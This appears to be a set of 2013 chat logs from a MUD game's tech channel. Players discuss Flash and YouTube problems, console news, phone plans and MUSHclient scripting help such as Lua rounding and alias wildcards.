T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: yeah, but I don't exactly leave the house or anything
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Hanslanda Tech: you're an agorophobic?
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tech: then why get a phone
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Zade Tech: a portable tablet comes with a bigger screen and more functionality (and is yet reasonbly portable) than a small screen rinky-dink iphone (if you are going to play games) 
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: because I'm supposed to msg someone on whatsapp
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: to play games, i think he overed this
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: unless you know a way of forcing whatsapp to work on windows?
T3/r7/2013-06-18.txt.gz:{chan ch=tech}WarPigs Tech: play games on the crapper?
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Zade Tech: a tablet cannot be flushed down the toilet -- unsure about iphones
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Hanslanda Tech: they call them emulators, Gregor.  You put them on your PC/laptop, to allow you to run apps only available/compatible with a particular OS (which you don't have)
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: yeah sure, I know what emulators are, just never heard of a mobile phone emulator
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tech: now you have :-0
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tigernuts Tech: did Adobe screw up flash again? It's taking ages to launch any youtube vids, and half of em start with no audio
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tech: emulators are how mobile apps are made and tested
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: hah non american internet sucks tiger
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Hanslanda Tech: I thought they were getting rid of flash?
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: ok sick thanks, downloading android emulator
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Garthis Tech: youtube works fine for me
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tigernuts Tech: nope, youtube still uses flash
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tech: they are getting rid of flash
T3/r7/2013-06-18.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i have had many "no html5 vids for you" messages lately. opera
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tech: but "getting rid of" is an extremely long term project
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tigernuts Tech: i dread adobe flash updates, they always break something
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tigernuts Tech: since the rest of the interweb hasn't collapsed and isn't going slow, i'll blame adobe. the only other option is to blame youtube themselves, which you claim work fine there
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: since no one but you is having the issue, must be the website
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tigernuts Tech: so it is youtube's fault. OK
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Hanslanda Tech: probably more of a browser issue.  If it was the website, other people would be showing symptoms.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tech: this morning I had a coworker who was on an adobe connect webinar where the audio wasn't working for him
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Zade Tech: does adobe break more often on old hardware or on new hardware - maybe Adobe wants you to upgrade (or downgrade) to the hardware Adobe supports
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tigernuts Tech: so we're back to adobe flash :-)
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tech: adobe doesn't make money on hardware
T3/r7/2013-06-18.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: many vids show the annoying loading circle while the video is fully loaded. this happened lately too
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: i've had some issues with adobe recently too
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Hanslanda Tech: haven't had flash break on me yet.  I have had IE end up forgetting flash was installed, such that videos just stopped being able to play, but I've only had it happen once mid-video.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Hanslanda Tech: same video with no other state change to the comp worked just fine in chrome.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: this is usual, hanslanda
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Zade Tech: perhaps Adobe is using the microsoft business model -- and microsoft supposedly does not make money on hardware either (except xbox maybe)
T3/r7/2013-06-18.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: opera and firefox both tend to stall sometimes
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Zade Tech: darn moles
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tigernuts Tech: firefox is about as good as it gets, browser-wise
T3/r7/2013-06-18.txt.gz:{chan ch=tech}WarPigs Tech: My browser is noscript and adblock plus. The other details are superficial.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Zade Tech: the fancy webpages which require megabyte transfers (of background pgms) to display their webpages are likely seeking to extract information and infiltrate past blockers -- so no wonder that there is lag and breakages -- a conspiracy to force you to upgrade (hardware and software) so fancy programmers may show off how clever they are at bloating bloat bloatiferously -- "bloat" is the new word, not "spam".
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Zade Tech: and with increased bloat, programming amidst that bloat becomes mentally harder and more errorprone -- as indicated by some hinting that they fear receiving Adobe updates
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Zade Tech: may be something to do with the lack of uniform hardware standards, so that similar yet different hardware requires slightly different drivers -- which leads to more bloat -- microsoft likes this scenario, as they are big enough to find and provide those updates - go-go Windows8 !
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Zade Tech: when a webpage insists on downloading over a megabyte of html programming code to display less than 20kB of actual (likely crap) information, that is seriously cutting into the 3GB bandwidth ceiling on basic broadband internet account in Canada -- that is less than 100 webpage visits a day - far less if downloading a few movies a month
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Zade Tech: Rogers in Canada is offering family plans (2 lines) for wireless internet (LTE Max) -- the deluxe "connected" plan is $200 per month and gets 10GB of shared wireless internet -- the "Basic" only gets 300MB for $100 per month -- apparently there are a lot of rich internet-addicted Canadians
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: i think verizon is looking to buy in to the moose country.. enjoy your rape
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: maybe they will sell phones in bags
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Zade Tech: more competition, slightly cheaper prices, or is there collusion to keep prices high in Canada
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: idk, 3 year contracts lol
T3/r7/2013-06-18.txt.gz:{chan ch=tech}HuntGather Tech: I have separated channel chat form the output, so that it only shows up in communication log.  If I am in a menu with the blue options at the bottom, it will duplicate if a message comes through the channel.  Any ideas how to stop this?
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Pei Tech: is there a way in much client to copy colors and paste the color codes to the input window
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Pei Tech: mush client*
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: ctrl+d
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Pei Tech: ctrl-d not working
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Yes it is - you just need to highlight something first
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Pei Tech: like, ctrl-d to copy? or ctrl-d to paste, neither work
T3/r7/2013-06-18.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: ctrl+d to copy
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Pei Tech: <Hit:%h/%H Mana:%m/%M Moves:%v/%V Exp:%X/%x Gold:%g>%c
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Pei Tech: nope
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Pei Tech: weird
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Pei Tech: Pei Tech: like, ctrl-d to copy? or ctrl-d to paste, neither work'
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Pei Tech: damn i dunno
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh sweet, I'm pretty sure that Microsoft is looking to lose customers now. Just confirmed - If you get banned on XBox Live while on the XBox One... you lose your licenses to all the games you've paid for while the account was active, INCLUDING DLC.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: omfg really?
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Book of Etzli Tech: Yep.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto buries his face in his hand and sighs, shaking his head.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Hanslanda Tech: what games?  With indies ruling the roost nowadays and with MS's policy that all games on Xbox have a publisher, Xbox One could still potentially flop harder than the Wii.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Vonliege Tech: the Wii flopped?  
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh, it probably will, what with all the restrictions and absurd changes it's making. Sony even poked fun at MS at E3 with signs saying, "Don't have a check-in ever 24 hours" and "You can still trade your games" and whatnot.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Wildkard Tech: oh and don't forget the new internet requirement, the restrictions on trading / used games etc
T3/r7/2013-06-18.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yes wii flopped bad
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Book of Etzli Tech: The Wii U kind of flopped.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Hanslanda Tech: Wii almost broke Nintendo.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Book of Etzli Tech: EA isn't even making games for the Wii U.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Wildkard Tech: lol i think thats value added
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto peers intently at Wildkard.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Hanslanda Tech: you think spending hundreds of dollars on a video game is value added?
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Wildkard Tech: no that fact that EA isn't making games for it :P
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Wildkard Tech: I really dislike EA and most of their games and their business practice
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Hanslanda Tech: well, yeah, Nintendo/Wii was always the kids-friendly console and Nintendo took that up a notch when Wii first came out.  Adult gamers are what drives gaming, since they happen to have the funds to get what they want.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: kids are the keys to parents pockets
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Schnapps Tech: You say that, but adults with kids also buy a lot of games.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Schnapps Tech: Nintendo also has an amazing back-catalogue that they're able to re-sell again through virtual console.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Wildkard Tech: well the wii was a popular party console - the "HIP 30 and 40 something" crowd were really into it - it actually created casual gamers out of people that were more into the socoial scene
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Wildkard Tech: there is a lot to be said for that
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Wildkard Tech: the problem with that is, those people didn't continue to buy games
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Yalokinh Tech: channel
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Yalokinh Tech: hey, I am having trouble with some plugins
T3/r7/2013-06-19.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: is it serious if your phone boots into some weird demigod mode where it complains about firmare mismatches and has some orange  kernel maintainer email?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: is there a way to change the backround of mush client?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: yes
T3/r7/2013-06-19.txt.gz:{chan ch=tech}BlueBeetle Tech: possible, is everything
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: how?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}BlueBeetle Tech: dunno :p
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Roidrage Tech: can anyone tell me why i was downloading at 3mb/ps then all of a sudden i dropped too 800kb
T3/r7/2013-06-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: storm?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Roidrage Tech: nope
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Roidrage Tech: everything is fine weather lines cables
T3/r7/2013-06-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: out of data?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Roidrage Tech: maybe does that happen with p2p?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Roidrage Tech: does windows 7 have telnet?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}BlueBeetle Tech: lol
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Roidrage Tech: was a serious question
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Roidrage Tech: nvm ill google
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: it does
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Roidrage Tech: yeah found it you need to enable it from program features
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: though iirc you need to install it from addremoveprograms
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: sorry, train drove through a tunnel ,heh
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Roidrage Tech: its ok i got i cant see what im typing
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: cant recall the exact syntax but i think its ctrl and [ to bring up the console then "set localecho"
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: set by itself might list the syntax
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Roidrage Tech: thanks
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: sorr y now i'm at a pc its ctrl ] not left bracket
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tymas Tech: the stat monitor shows how long it takes to do campaigns?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: did you look at the web page for it?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tymas Tech: no
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: the webpage shows you the output that statmonitor gives
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tymas Tech: Do you know the answer?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tymas Tech: Would it kill you to answer?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tymas Tech: then don't even respond..just ignore my question
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Flak Tech: hi abelinc!
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: then don't ask RTFM questions
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: lo flak :-)
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tymas Tech: I'll ask whatever I want
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: and we'll answer appropriately :-)
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Martini & Tyebald Tech: then don't be surprised if you get RTFM answers.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Flak Tech: how do i log on to the internet?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: GIGO is unchangeable in computing
T3/r7/2013-06-19.txt.gz:{chan ch=tech}DarkPchan Tech: I like abe :)
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tymas Tech: I don't
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: You play the world's smallest violin for Tymas.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: Jaenelle comforts Tymas.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Jaenelle Tech: Poor poor you. :P
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Hanslanda Tech: saying you don't like Abe is like saying you don't like Lasher.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tymas Tech: I don't know Lasher, so >.<
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Ontuct Tech: I wouldn't anger Lasher
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Hanslanda Tech: Lasher is the one guy who can really ruin your time here.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tymas Tech: I know who he is...I just don't know him..I appreciate him for what he has created however.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: but you've gotta really try hard to get him to be vengeful
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Ontuct Tech: I hear botting in Crynns Church can get him worked up.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: threatening his family works better }:>
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Martini & Tyebald Tech: botting anywhere does.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: how can you do the botting in crynn?!
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Martini & Tyebald Tech: same way you do it anywhere?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Hanslanda Tech: Lasher's probably caught botters in a manor area
T3/r7/2013-06-19.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: its such a nasty place. 
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Ontuct Tech: wasn't that where one of the more rescent nukes took place?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}GoatMaster Korridel Tech: Does it matter?  Botting is botting is botting.  Location is independant of it.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: GoatMaster Korridel smiles happily.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Ontuct Tech: I suppose so.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Martini & Tyebald Tech: it's like anti-real estate.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}GoatMaster Korridel Tech: There's no suppose so.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: I've been busted for botting in manor, actually
T3/r7/2013-06-19.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: what part of your body did they remove then?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Ontuct Tech: and your character wasn't deleted? for shame
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Turie Tech: Botting is Betting On That The Imp Not Gut-U
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: rules changed...this was back when even just a "keep me spelled up" script was illegal
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Ontuct Tech: while I'll leave you all to it, I'm logging off before Abelinc makes me read a manual or helpfile :p
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Flak Tech: what are some good websites to look for an entry level IT position (in U.S.) ?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Flak Tech: i have a bachelor's in CIS
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: been a while since I was really in the market, but the usuals like monster, careerbuilder, jobcircle, then some of the subcontract companies like rht.com
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Flak Tech: rht = robert half?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Flak Tech: i was supposed to have a job with them but they never got back to me
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Flak Tech: he said i was hired then was like ummm we dont have the job anymore
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Flak Tech: i suppose i should call him again
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Faylen Tech: Does anyone know off the top of their head a quick way to round numbers in mushclient plugins? Wanting to have something display my hp percentage but only the whole numbers, not 99.323234523
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: math.floor() math.ceil()
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Xaeris Tech: and in this case, I'd say math.floor() would be the safer bet.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger nods at Xaeris.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: You can institute your own true round using division, subtraction, and multiplication if you're that concerned about it.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Faylen Tech: Pretty much just looking for something quick and simple. I'll look up those two first. Thanks!
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: value = 99.7654 roundedVal = math.floor(value) print(roundedVal) would return "99"
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Faylen Tech: Oh! Easy enough, awesome
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Faylen Tech: Thank you
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger gallantly tips his hat.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: might actually be Math instead of math, I can't remember.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Math, the nerdier form of meth :P
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Faylen Tech: I'll know soon enough iif the compile craps out on me, haha
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: will still keep you up all night
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: But it'll grow your brain instead of kill it :P
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: MUSH ships with a round function...look at MUSHclient\lua\commas.lua
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: there are lots of handy functions in that file
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Vonliege Tech: is there any kind of clock, or alarm set into Aardmush?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: \\\print(os.time())
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Vonliege Tech: I guess that's an accurate answer
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Wildkard Tech: awsome answer :)
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Vonliege Tech: thank you, Cheezburger
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger gallantly tips his hat.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Vonliege Tech: do you come with fries?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Vonliege Tech: =)
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Granted, that's in epoch time. But easy enough to convert.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Nope, just a large beer.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Vonliege Tech: let me redress....
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Wildkard Tech: Can I haz Cheezburger?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Vonliege Tech: is there a simple alarmclock built into the Mush GUI?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger shakes his head.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Well, yes and no
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Vonliege Tech: or a countdown timer
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: There's timers (Game -> Configure -> Timers), but that's it
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Vonliege Tech: that might be what I need
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Wildkard Tech: since we have a master anyway to email from the mush client?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Vonliege Tech: that looks like it'll do what I want
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Vonliege Tech: TY Very muchness
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Can you rephrease that Wild? I don't understand what you're asking.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Wildkard Tech: well i listen to my iphone so miss the quest ding more often then not, if i can have the client email my phone at quest time I would not miss it
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: You could, or you could have it text you the same way.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: For example on Verizon, you could send an email to <yournumber>@vtext.com and it'll come across as a text message.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: As for how to do it, just google "lua email"
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Wildkard Tech: will do, thanks
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Vonliege Tech: 'sounds' attached to triggers can really drag the game down, correct?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: they shouldn't
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: wildkard: the iPhone's clock app has a countdown timer...just have the iPhone alert you when qtimer should be up, no need to mess with MUSHclient doing it
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: There's going to be some processing power used, obviously, but no it shouldn't cause any undue latency/resource hogging.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: less intensive than, say, having Pandora open in the background
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger nods.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Less bandwidth too :P
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: http://mushclient.com/forum/?id=8721 has some info on the way MUSH handles sounds
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tigernuts Tech: wow, youtube is broken!
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Garthis Tech: works fine for me
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tigernuts Tech: 7000 internal error, now a 502 http error
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Ayasinda Tech: youtube works on IE but not on chrome for me
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tigernuts Tech: can you get to here: https://www.youtube.com/channel/UCe42Nzowix0TR7AG56UIq0Q ?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Garthis Tech: yup
T3/r7/2013-06-19.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: works for me...
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: watching youtube atm
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Ayasinda Tech: works again here too.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tigernuts Tech: boggle
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tigernuts Tech: working again for me now, but sloooowwwlllly
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Faylen Tech: Can someone help me understand how %1 can be used with alias wildcards? I have an alias that needs to be followed by a numeric argument, but doing something like temp = %1 in the send portion and then using temp in later lines gives me an error about it needing to begin with a letter or underscore, but starts with " "
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Faylen Tech: I keep getting tripped up on this, but it seems like it should be simple
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: "%1"
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: is string
T3/r7/2013-06-19.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: you need to use setvariable instead of using a local variable temp is only valid within the alias that sets it assuming you aren't calling a script
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: as long as it isn't declared local in the alias scope i think it stays in the tables (the var you would assign %1 to)
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Faylen Tech: Well this is all happening within the send portion of the alias
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: give us an example pastebin,maybe
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Faylen Tech: So %1 should be valid there right?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: of what yu're trying to do
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: yes, but encase it with quotes when you assign another var to it
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: you said it's complaining about temp, not about %1
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: The Dragon RandAlthor read the question wrong
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Faylen Tech: I'm not sure what exactly it's complaining about, the error isa bit cryptic. working on a pastebin, sec
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Faylen Tech: and pastebin hates me. lol
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: pastie.org
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: nevermind, apparently it was taken down?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: double scratch, used my own hotlink and browser prepended www
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Faylen Tech: let's try this. https://dl.dropboxusercontent.com/u/36215796/alias.txt
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: fay, that worked fine for me
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Faylen Tech: weird...
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Faylen Tech: I get, Line   59: Element name must start with letter or underscore, but starts with " " (Cannot load)
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Faylen Tech: and that line is the, if (hpwarn < 1 or hpwarn > 99) then
T3/r7/2013-06-19.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: me as well but i can't paste it into my aliases for some reason i get the same error message but from clipboard\
